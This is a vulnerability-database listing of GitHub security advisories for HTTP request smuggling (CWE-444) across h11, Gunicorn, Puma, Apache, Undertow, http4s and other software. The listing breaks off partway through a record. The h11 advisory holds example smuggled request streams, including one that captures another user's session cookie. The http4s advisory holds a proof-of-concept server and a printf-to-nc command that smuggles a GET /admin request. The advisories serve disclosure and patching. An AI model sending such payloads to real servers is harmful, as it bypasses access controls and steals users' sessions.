CWE-444
AllowedInconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Abstraction: Base · Status: Incomplete
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
554 vulnerabilities reference this CWE, most recent first.
GHSA-VQFR-H8MV-GHFJ
Vulnerability from github – Published: 2025-04-24 16:07 – Updated: 2025-04-24 21:41Impact
A leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.
Details
HTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of "chunks", each of which consists of:
- chunk length
\r\nlengthbytes of content\r\n
In versions of h11 up to 0.14.0, h11 instead parsed them as:
- chunk length
\r\nlengthbytes of content- any two bytes
i.e. it did not validate that the trailing \r\n bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.
By itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a different bug in parsing Chunked-Encoding, acting as if the format is:
- chunk length
\r\nlengthbytes of content- more bytes of content, as many as it takes until you find a
\r\n
For example, pound had this bug -- it can happen if an implementer uses a generic "read until end of line" helper to consumes the trailing \r\n.
In this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are \r\n):
GET /one HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
5
AAAAAXX2
45
0
GET /two HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
0
Here h11 will interpret it as two requests, one with body AAAAA45 and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body AAAAXX20\r\n\r\nGET /two .... And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a "request smuggling" attack. For example, if /two is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.
Even worse, if our buggy reverse proxy receives two requests from different users:
GET /one HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
5
AAAAAXX999
0
GET /two HTTP/1.1
Host: localhost
Cookie: SESSION_KEY=abcdef...
...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as one request to /one whose body includes /two's session key, potentially allowing one user to steal another's credentials.
Patches
Fixed in h11 0.15.0.
Workarounds
Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
Credits
Reported by Jeppe Bonde Weikop on 2025-01-09.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h11"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43859"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:07:56Z",
"nvd_published_at": "2025-04-24T19:15:47Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nA leniency in h11\u0027s parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`\u0027s session key, potentially allowing one user to steal another\u0027s credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 2025-01-09.",
"id": "GHSA-vqfr-h8mv-ghfj",
"modified": "2025-04-24T21:41:36Z",
"published": "2025-04-24T16:07:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43859"
},
{
"type": "WEB",
"url": "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-hyper/h11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "h11 accepts some malformed Chunked-Encoding bodies"
}
GHSA-VQQJ-9CMV-HX43
Vulnerability from github – Published: 2026-03-27 18:31 – Updated: 2026-06-11 00:32A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.23.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28369"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:14:40Z",
"nvd_published_at": "2026-03-27T17:16:28Z",
"severity": "HIGH"
},
"details": "A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.",
"id": "GHSA-vqqj-9cmv-hx43",
"modified": "2026-06-11T00:32:03Z",
"published": "2026-03-27T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28369"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25125"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25126"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-28369"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443262"
},
{
"type": "PACKAGE",
"url": "https://github.com/undertow-io/undertow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Undertow is Vulnerable to HTTP Request/Response Smuggling"
}
GHSA-VVR6-23F2-VP62
Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-04-23 00:03In SAP NetWeaver Application Server Java - versions KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC, 7.22, 7.22EXT, 7.49, 7.53, KERNEL 7.22, 7.49, 7.53, an unauthenticated attacker could submit a crafted HTTP server request which triggers improper shared memory buffer handling. This could allow the malicious payload to be executed and hence execute functions that could be impersonating the victim or even steal the victim's logon session.
{
"affected": [],
"aliases": [
"CVE-2022-22532"
],
"database_specific": {
"cwe_ids": [
"CWE-390",
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T23:15:00Z",
"severity": "CRITICAL"
},
"details": "In SAP NetWeaver Application Server Java - versions KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC, 7.22, 7.22EXT, 7.49, 7.53, KERNEL 7.22, 7.49, 7.53, an unauthenticated attacker could submit a crafted HTTP server request which triggers improper shared memory buffer handling. This could allow the malicious payload to be executed and hence execute functions that could be impersonating the victim or even steal the victim\u0027s logon session.",
"id": "GHSA-vvr6-23f2-vp62",
"modified": "2022-04-23T00:03:39Z",
"published": "2022-02-11T00:00:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22532"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3123427"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWCX-FFX9-JW3X
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38IBM Emptoris Sourcing 10.1.0, 10.1.1, and 10.1.3 is vulnerable to web cache poisoning, caused by improper input validation by modifying HTTP request headers. IBM X-Force ID: 190987.
{
"affected": [],
"aliases": [
"CVE-2020-4896"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-07T18:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Emptoris Sourcing 10.1.0, 10.1.1, and 10.1.3 is vulnerable to web cache poisoning, caused by improper input validation by modifying HTTP request headers. IBM X-Force ID: 190987.",
"id": "GHSA-vwcx-ffx9-jw3x",
"modified": "2022-05-24T17:38:15Z",
"published": "2022-05-24T17:38:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4896"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190987"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6398284"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W3H3-4RJ7-4PH4
Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2025-09-29 21:13Gunicorn fails to properly validate Transfer-Encoding headers, leading to HTTP Request Smuggling (HRS) vulnerabilities. By crafting requests with conflicting Transfer-Encoding headers, attackers can bypass security restrictions and access restricted endpoints. This issue is due to Gunicorn's handling of Transfer-Encoding headers, where it incorrectly processes requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified. This vulnerability has been shown to allow access to endpoints restricted by gunicorn. This issue has been addressed in version 22.0.0.
To be affected users must have a network path which does not filter out invalid requests. These users are advised to block access to restricted endpoints via a firewall or other mechanism if they are unable to update.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gunicorn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "22.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1135"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-16T02:54:35Z",
"nvd_published_at": "2024-04-16T00:15:07Z",
"severity": "HIGH"
},
"details": "Gunicorn fails to properly validate Transfer-Encoding headers, leading to HTTP Request Smuggling (HRS) vulnerabilities. By crafting requests with conflicting Transfer-Encoding headers, attackers can bypass security restrictions and access restricted endpoints. This issue is due to Gunicorn\u0027s handling of Transfer-Encoding headers, where it incorrectly processes requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified. This vulnerability has been shown to allow access to endpoints restricted by gunicorn. This issue has been addressed in version 22.0.0.\n\nTo be affected users must have a network path which does not filter out invalid requests. These users are advised to block access to restricted endpoints via a firewall or other mechanism if they are unable to update.",
"id": "GHSA-w3h3-4rj7-4ph4",
"modified": "2025-09-29T21:13:05Z",
"published": "2024-04-16T00:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1135"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/issues/3091"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/pull/3113"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/commit/ac29c9b0a758d21f1e0fb3b3457239e523fa9f1d"
},
{
"type": "PACKAGE",
"url": "https://github.com/benoitc/gunicorn"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/releases/tag/22.0.0"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/22158e34-cfd5-41ad-97e0-a780773d96c1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00027.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00018.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Request smuggling leading to endpoint restriction bypass in Gunicorn"
}
GHSA-W4G5-MCC7-3767
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38SAP Commerce Cloud, versions - 1808, 1811, 1905, 2005, 2011, allows an authenticated attacker to include invalidated data in the HTTP response Content Type header, due to improper input validation, and sent to a Web user. A successful exploitation of this vulnerability may lead to advanced attacks, including cross-site scripting and page hijacking.
{
"affected": [],
"aliases": [
"CVE-2021-21445"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-12T15:15:00Z",
"severity": "MODERATE"
},
"details": "SAP Commerce Cloud, versions - 1808, 1811, 1905, 2005, 2011, allows an authenticated attacker to include invalidated data in the HTTP response Content Type header, due to improper input validation, and sent to a Web user. A successful exploitation of this vulnerability may lead to advanced attacks, including cross-site scripting and page hijacking.",
"id": "GHSA-w4g5-mcc7-3767",
"modified": "2022-05-24T17:38:51Z",
"published": "2022-05-24T17:38:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21445"
},
{
"type": "WEB",
"url": "https://i7p.wdf.sap.corp/sap/support/notes/2984034"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2984034"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=564760476"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W594-HMPV-QHH5
Vulnerability from github – Published: 2022-10-01 00:00 – Updated: 2024-02-27 21:31Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request's Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.
{
"affected": [],
"aliases": [
"CVE-2022-21826"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-30T17:15:00Z",
"severity": "MODERATE"
},
"details": "Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request\u0027s Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.",
"id": "GHSA-w594-hmpv-qhh5",
"modified": "2024-02-27T21:31:24Z",
"published": "2022-10-01T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21826"
},
{
"type": "WEB",
"url": "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/Client-Side-Desync-Attack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W64W-QQPH-5GXM
Vulnerability from github – Published: 2020-05-22 14:55 – Updated: 2023-05-16 15:55Impact
This is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.
A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.
If the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.
Patches
The problem has been fixed in Puma 3.12.6 and Puma 4.3.5.
For more information
If you have any questions or comments about this advisory:
- Open an issue in Puma
- See our security policy
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-11077"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-22T14:46:33Z",
"nvd_published_at": "2020-05-22T15:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThis is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.\n\nA client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client. \n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request\u0027s body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.6 and Puma 4.3.5.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)",
"id": "GHSA-w64w-qqph-5gxm",
"modified": "2023-05-16T15:55:12Z",
"published": "2020-05-22T14:55:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/puma/puma/security/advisories/GHSA-w64w-qqph-5gxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11077"
},
{
"type": "PACKAGE",
"url": "https://github.com/puma/puma"
},
{
"type": "WEB",
"url": "https://github.com/puma/puma/blob/master/History.md#434435-and-31253126--2020-05-22"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puma/CVE-2020-11077.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SKIY5H67GJIGJL6SMFWFLUQQQR3EMVPR"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00034.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "HTTP Smuggling via Transfer-Encoding Header in Puma"
}
GHSA-WC6R-9C75-44GQ
Vulnerability from github – Published: 2023-03-07 18:30 – Updated: 2023-03-14 18:30Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.
{
"affected": [],
"aliases": [
"CVE-2023-25690"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T16:15:00Z",
"severity": "CRITICAL"
},
"details": "Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule \"^/here/(.*)\" \"http://example.com:8080/elsewhere?$1\"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.",
"id": "GHSA-wc6r-9c75-44gq",
"modified": "2023-03-14T18:30:26Z",
"published": "2023-03-07T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25690"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00028.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-01"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176334/Apache-2.4.55-mod_proxy-HTTP-Request-Smuggling.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCWH-7GFW-5WRR
Vulnerability from github – Published: 2025-09-23 17:37 – Updated: 2025-10-13 15:20Summary
http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches
Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.
Details
The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142).
This method parses the trailer section using Parser.parse, where the issue originates.
parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.
if (current == colon) {
state = true // set state to check for header value
name = new String(message, start, idx - start) // extract name string
start = idx + 1 // advance past colon for next start
// TODO: This if clause may not be necessary since the header value parser trims
if (message.size > idx + 1 && message(idx + 1) == space) {
start += 1 // if colon is followed by space advance again
idx += 1 // double advance index here to skip the space
}
// double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
complete = true // completed terminate loop
}
The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.
PoC
Start a simple webserver that echoes the received requests:
import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._
object ExploitServer extends IOApp {
implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]
val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
case req @ _ =>
for {
bodyStr <- req.bodyText.compile.string
method = req.method.name
uri = req.uri.toString()
version = req.httpVersion.toString
headers = req.headers.headers.map { header =>
s"${header.name.toString.toLowerCase}: ${header.value}"
}.mkString("\n")
responseText = s"""$method $uri $version
$headers
$bodyStr
"""
result <- Ok(responseText)
} yield result
}
val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
Router("/" -> echoService).orNotFound
)
override def run(args: List[String]): IO[ExitCode] = {
EmberServerBuilder
.default[IO]
.withHost(ipv4"0.0.0.0")
.withPort(port"8080")
.withHttpApp(httpApp)
.build
.use { server =>
IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
}
.as(ExitCode.Success)
}
}
build.sbt
ThisBuild / scalaVersion := "2.13.15"
val http4sVersion = "0.23.30"
lazy val root = (project in file("."))
.settings(
name := "http4s-echo-server",
libraryDependencies ++= Seq(
"org.http4s" %% "http4s-ember-server" % http4sVersion,
"org.http4s" %% "http4s-dsl" % http4sVersion,
"org.http4s" %% "http4s-circe" % http4sVersion,
"ch.qos.logback" % "logback-classic" % "1.4.11",
"org.typelevel" %% "log4cats-slf4j" % "2.6.0",
)
)
Send the following request:
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost
You can do that with the following command:
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080
You will see that the request is interpreted as two separate requests
16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59822"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-23T17:37:23Z",
"nvd_published_at": "2025-09-23T19:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is found.\n```scala\nif (current == colon) {\n state = true // set state to check for header value\n name = new String(message, start, idx - start) // extract name string\n start = idx + 1 // advance past colon for next start\n\n // TODO: This if clause may not be necessary since the header value parser trims\n if (message.size \u003e idx + 1 \u0026\u0026 message(idx + 1) == space) {\n start += 1 // if colon is followed by space advance again\n idx += 1 // double advance index here to skip the space\n }\n // double CRLF condition - Termination of headers\n} else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr)) { // \u003c----- not a double 